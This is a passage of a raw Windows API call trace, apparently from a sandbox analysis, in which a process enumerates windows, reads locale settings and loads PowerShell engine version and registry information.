0x4a4 [0040.497] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x464 [0040.497] GetWindowThreadProcessId (in: hWnd=0x5009c, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.498] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.498] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0xa04 [0040.498] GetWindow (hWnd=0x10216, uCmd=0x4) returned 0x0 [0040.499] IsWindowVisible (hWnd=0x10216) returned 0 [0040.499] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.499] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.499] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.499] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.499] GetWindowThreadProcessId (in: hWnd=0x201bc, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.499] GetWindowThreadProcessId (in: hWnd=0x401b4, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x95c [0040.499] GetWindowThreadProcessId (in: hWnd=0x201c4, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.499] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.499] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x848 [0040.499] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x838 [0040.499] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x828 [0040.499] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x818 [0040.499] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x808 [0040.499] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5cc [0040.499] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x6c4 [0040.500] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x40c [0040.500] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x518 [0040.500] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x718 [0040.500] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5d8 [0040.500] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x23c [0040.500] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4b4 [0040.500] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x57c [0040.500] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x90 [0040.500] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x398 [0040.500] GetWindowThreadProcessId (in: hWnd=0x2015a, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x3f0 [0040.500] GetWindowThreadProcessId (in: hWnd=0x30110, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x7b0 [0040.500] GetWindowThreadProcessId (in: hWnd=0x2015e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x70c [0040.500] GetWindowThreadProcessId (in: hWnd=0x600a4, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x474 [0040.500] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x6bc [0040.501] GetWindowThreadProcessId (in: hWnd=0x20162, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5c0 [0040.501] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5fc [0040.501] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5ec [0040.501] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5fc [0040.501] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5ec [0040.501] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5fc [0040.501] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5c0 [0040.501] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5c0 [0040.501] GetWindowThreadProcessId (in: hWnd=0x200e4, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.501] GetWindowThreadProcessId (in: hWnd=0x300bc, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.501] GetWindowThreadProcessId (in: hWnd=0x300aa, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.501] GetWindowThreadProcessId (in: hWnd=0x200b8, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.501] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.501] GetWindowThreadProcessId (in: hWnd=0x300c4, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.501] GetWindowThreadProcessId (in: hWnd=0x800a2, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.501] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x594 [0040.502] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x730 [0040.502] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5b8 [0040.502] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x464 [0040.502] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x58c [0040.502] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.502] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x550 [0040.502] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.502] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.502] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.502] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x528 [0040.502] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x614 [0040.502] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.502] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4f0 [0040.502] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.502] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x464 [0040.502] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x464 [0040.502] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x454 [0040.503] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x7f4 [0040.503] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x464 [0040.503] GetWindowThreadProcessId (in: hWnd=0x1013e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x69c [0040.503] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.503] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.503] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0xa14 [0040.503] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.503] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.503] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x848 [0040.503] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x838 [0040.503] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x828 [0040.503] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x818 [0040.503] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x808 [0040.503] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5cc [0040.504] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x6c4 [0040.504] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x40c [0040.504] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x518 [0040.504] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x718 [0040.504] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5d8 [0040.504] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x23c [0040.504] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4b4 [0040.504] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x57c [0040.504] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x90 [0040.504] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x398 [0040.504] GetWindowThreadProcessId (in: hWnd=0x50160, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x3f0 [0040.504] GetWindowThreadProcessId (in: hWnd=0x40158, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x7b0 [0040.504] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x70c [0040.504] GetWindowThreadProcessId (in: hWnd=0x3001c, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x474 [0040.504] GetWindowThreadProcessId (in: hWnd=0x3010c, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x6bc [0040.504] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5ec [0040.504] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5fc [0040.505] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5c0 [0040.505] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x594 [0040.505] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x730 [0040.505] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x464 [0040.505] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x528 [0040.505] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x614 [0040.505] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4f0 [0040.505] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x464 [0040.505] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x7f4 [0040.511] WerSetFlags () returned 0x0 [0040.522] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0040.522] CoTaskMemFree (pv=0x0) [0040.523] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x24e0a8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x24e0a0 | out: pulNumLanguages=0x24e0a8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x24e0a0) returned 1 [0040.523] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x24e0a8, pwszLanguagesBuffer=0x2ccade0, pcchLanguagesBuffer=0x24e0a0 | out: pulNumLanguages=0x24e0a8, pwszLanguagesBuffer=0x2ccade0, pcchLanguagesBuffer=0x24e0a0) returned 1 [0040.531] CoTaskMemAlloc (cb=0x24) returned 0x3eea90 [0040.531] GetUserDefaultLocaleName (in: lpLocaleName=0x3eea90, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0040.531] CoTaskMemFree (pv=0x3eea90) [0040.551] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0040.551] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0040.551] CoTaskMemFree (pv=0x3d68d0) [0040.555] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0040.555] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0040.555] CoTaskMemFree (pv=0x3d68d0) [0040.557] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0040.557] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0040.557] CoTaskMemFree (pv=0x3d68d0) [0040.567] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24da70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0040.567] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24db10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0040.568] SetErrorMode (uMode=0x1) returned 0x1 [0040.568] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x24dd20 | out: lpFileInformation=0x24dd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0040.568] SetErrorMode (uMode=0x1) returned 0x1 [0040.568] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x24df90 | out: lpdwHandle=0x24df90) returned 0x94c [0040.568] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2cce670 | out: lpData=0x2cce670) returned 1 [0040.569] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x24df08, puLen=0x24df00 | out: lplpBuffer=0x24df08*=0x2cce70c, puLen=0x24df00) returned 1 [0040.569] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x24de78, puLen=0x24de70 | out: lplpBuffer=0x24de78*=0x2cce7e8, puLen=0x24de70) returned 1 [0040.569] lstrlenW (lpString="Microsoft Corporation") returned 21 [0040.569] CoTaskMemAlloc (cb=0x2e) returned 0x3ed6d0 [0040.569] lstrcpyW (in: lpString1=0x3ed6d0, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0040.569] CoTaskMemFree (pv=0x3ed6d0) [0040.569] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x24de78, puLen=0x24de70 | out: lplpBuffer=0x24de78*=0x2cce83c, puLen=0x24de70) returned 1 [0040.569] lstrlenW (lpString="System.Management.Automation") returned 28 [0040.569] CoTaskMemAlloc (cb=0x3c) returned 0x1b9b1a30 [0040.569] lstrcpyW (in: lpString1=0x1b9b1a30, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0040.569] CoTaskMemFree (pv=0x1b9b1a30) [0040.569] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x24de78, puLen=0x24de70 | out: lplpBuffer=0x24de78*=0x2cce898, puLen=0x24de70) returned 1 [0040.569] lstrlenW (lpString="6.1.7601.17514") returned 14 [0040.569] CoTaskMemAlloc (cb=0x20) returned 0x3eeaf0 [0040.569] lstrcpyW (in: lpString1=0x3eeaf0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0040.569] CoTaskMemFree (pv=0x3eeaf0) [0040.569] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x24de78, puLen=0x24de70 | out: lplpBuffer=0x24de78*=0x2cce8d8, puLen=0x24de70) returned 1 [0040.569] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0040.569] CoTaskMemAlloc (cb=0x44) returned 0x1b9b1a30 [0040.569] lstrcpyW (in: lpString1=0x1b9b1a30, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0040.570] CoTaskMemFree (pv=0x1b9b1a30) [0040.570] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x24de78, puLen=0x24de70 | out: lplpBuffer=0x24de78*=0x2cce940, puLen=0x24de70) returned 1 [0040.570] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0040.570] CoTaskMemAlloc (cb=0x76) returned 0x36bc60 [0040.570] lstrcpyW (in: lpString1=0x36bc60, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0040.570] CoTaskMemFree (pv=0x36bc60) [0040.570] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x24de78, puLen=0x24de70 | out: lplpBuffer=0x24de78*=0x2cce9dc, puLen=0x24de70) returned 1 [0040.570] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0040.570] CoTaskMemAlloc (cb=0x44) returned 0x1b9b1a30 [0040.570] lstrcpyW (in: lpString1=0x1b9b1a30, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0040.570] CoTaskMemFree (pv=0x1b9b1a30) [0040.570] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x24de78, puLen=0x24de70 | out: lplpBuffer=0x24de78*=0x2ccea40, puLen=0x24de70) returned 1 [0040.570] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0040.570] CoTaskMemAlloc (cb=0x58) returned 0x398500 [0040.570] lstrcpyW (in: lpString1=0x398500, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0040.570] CoTaskMemFree (pv=0x398500) [0040.570] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x24de78, puLen=0x24de70 | out: lplpBuffer=0x24de78*=0x2cceabc, puLen=0x24de70) returned 1 [0040.570] lstrlenW (lpString="6.1.7601.17514") returned 14 [0040.570] CoTaskMemAlloc (cb=0x20) returned 0x3eeaf0 [0040.570] lstrcpyW (in: lpString1=0x3eeaf0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0040.570] CoTaskMemFree (pv=0x3eeaf0) [0040.570] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x24de78, puLen=0x24de70 | out: lplpBuffer=0x24de78*=0x2cce764, puLen=0x24de70) returned 1 [0040.570] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0040.570] CoTaskMemAlloc (cb=0x66) returned 0x35cb60 [0040.570] lstrcpyW (in: lpString1=0x35cb60, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0040.570] CoTaskMemFree (pv=0x35cb60) [0040.570] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x24de78, puLen=0x24de70 | out: lplpBuffer=0x24de78*=0x0, puLen=0x24de70) returned 0 [0040.570] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x24de78, puLen=0x24de70 | out: lplpBuffer=0x24de78*=0x0, puLen=0x24de70) returned 0 [0040.570] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x24de78, puLen=0x24de70 | out: lplpBuffer=0x24de78*=0x0, puLen=0x24de70) returned 0 [0040.570] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x24de48, puLen=0x24de40 | out: lplpBuffer=0x24de48*=0x2cce70c, puLen=0x24de40) returned 1 [0040.570] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0040.570] VerLanguageNameW (in: wLang=0x0, szLang=0x393c20, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0040.570] CoTaskMemFree (pv=0x393c20) [0040.570] VerQueryValueW (in: pBlock=0x2cce670, lpSubBlock="\\", lplpBuffer=0x24de98, puLen=0x24de90 | out: lplpBuffer=0x24de98*=0x2cce698, puLen=0x24de90) returned 1 [0040.576] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0040.576] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0040.576] CoTaskMemFree (pv=0x3d68d0) [0040.584] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0040.584] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0040.584] CoTaskMemFree (pv=0x3d68d0) [0040.587] lstrlenW (lpString="䅁") returned 1 [0040.594] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24dd68 | out: phkResult=0x24dd68*=0x308) returned 0x0 [0040.595] RegOpenKeyExW (in: hKey=0x308, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x24dd58 | out: phkResult=0x24dd58*=0x30c) returned 0x0 [0040.595] RegOpenKeyExW (in: hKey=0x30c, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24dde8 | out: phkResult=0x24dde8*=0x310) returned 0x0 [0040.598] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24dd2c, lpData=0x0, lpcbData=0x24dd28*=0x0 | out: lpType=0x24dd2c*=0x1, lpData=0x0, lpcbData=0x24dd28*=0x56) returned 0x0 [0040.598] CoTaskMemAlloc (cb=0x5a) returned 0x35cc40 [0040.598] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24dcfc, lpData=0x35cc40, lpcbData=0x24dcf8*=0x56 | out: lpType=0x24dcfc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24dcf8*=0x56) returned 0x0 [0040.598] CoTaskMemFree (pv=0x35cc40) [0040.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d880, lpFilePart=0x0 | out: 